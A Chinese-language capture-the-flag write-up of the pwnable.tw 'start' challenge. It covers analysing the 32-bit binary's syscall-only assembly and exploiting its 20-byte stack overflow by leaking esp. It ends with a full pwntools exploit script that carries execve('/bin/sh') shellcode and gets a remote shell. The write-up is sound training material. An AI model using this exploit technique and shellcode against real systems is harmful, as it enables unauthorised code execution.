pwnable.tw 第一题之start

今天学长布置了作业,,,做这道题,,,

言承这次遇到的第一个情况,,,就是页面打开了,题目出不来。流泪。

大家可以直接用下面图片的ip,端口,如果有需要,想自己pwnable.tw,可以私信我。

 

pwnable.tw 第一题之start_第1张图片

然后我们来看题

pwnable.tw 第一题之start_第2张图片

32位的程序,程序什么也没开,,,感觉挺友善的哈

pwnable.tw 第一题之start_第3张图片

执行效果,,挺好就一个输入点,基本猜测就是栈溢出,,,

 

用ida打开有点傻眼,没有main函数,只有start和exit,启动和退出?什么操作,内心有点忐忑

pwnable.tw 第一题之start_第4张图片

只有start可以看反汇编,,,然而,看的还是有点懵,,,

pwnable.tw 第一题之start_第5张图片

只看出它调用了一个write函数,别的啥也不知道了,,,

 

接受事实,这道硬核的,有点不同于之前的题目,真的要上汇编了

pwnable.tw 第一题之start_第6张图片

因为汇编看着,大致的意思能理解,但是还是有点懵,所以我花了下堆栈示意图

pwnable.tw 第一题之start_第7张图片

刚开始的初始化

pwnable.tw 第一题之start_第8张图片

调用write函数和read函数,栈中的情况

第一个函数是wirte函数,我们可以通过注释可以得知,第二个为什么是read函数呢?是通过ax里面的系统号

查看系统号地址:http://syscalls.kernelgrok.com/

程序先将系统号放入ax,然后int 80中断调用函数

pwnable.tw 第一题之start_第9张图片

我们可以看到我们可以输入0x3c,但是返回地址距离输入只有0x14,所以,很显然这里可以造成溢出

通过堆栈图也可以看出来,覆盖率为20(=0x14)个字节

pwnable.tw 第一题之start_第10张图片

既然我们可以控制返回地址,那么我们就要想怎么拿到shell了,因为nx没有开启,我们又能在堆栈中输入数据,所以,想到可以传入shellcode到栈上,然后再将返回地址覆盖到shellcode地址。

为了覆盖shellcode的地址,我们需要找到一个地址,就是esp,我们可以覆盖返回地址为08048087,那么程序会调回去,继续输出,而此时esp走到了esp的位置,会将esp的地址输出

 

步骤

(1)先覆盖造成栈溢出,将返回地址覆盖0x08048087,泄漏esp的地址

(2)输入的时候,布置栈,覆盖返回地址为shellcode的地址

pwnable.tw 第一题之start_第11张图片

 

addr+20就是esp下面五格,esp+14h的时候也会来到addr的地址,然后retn,就是pop ip,就执行到shellcode了

所以,exp如下:

from pwn import  *
p = remote('chall.pwnable.tw',10000)

p.recvuntil(':')
payload = 'a'*20 + p32(0x08048087)
p.send(payload)

addr = u32(p.recv(4))+20
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = 'a'*20 + p32(addr) + shellcode
p.send(payload)

p.interactive()

#shellcode = 'x31xc9xf7xe1x51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xb0x0bxcdx80'
#安全客那篇这么写不行,,,

pwnable.tw 第一题之start_第12张图片

 

你可能感兴趣的:(pwn)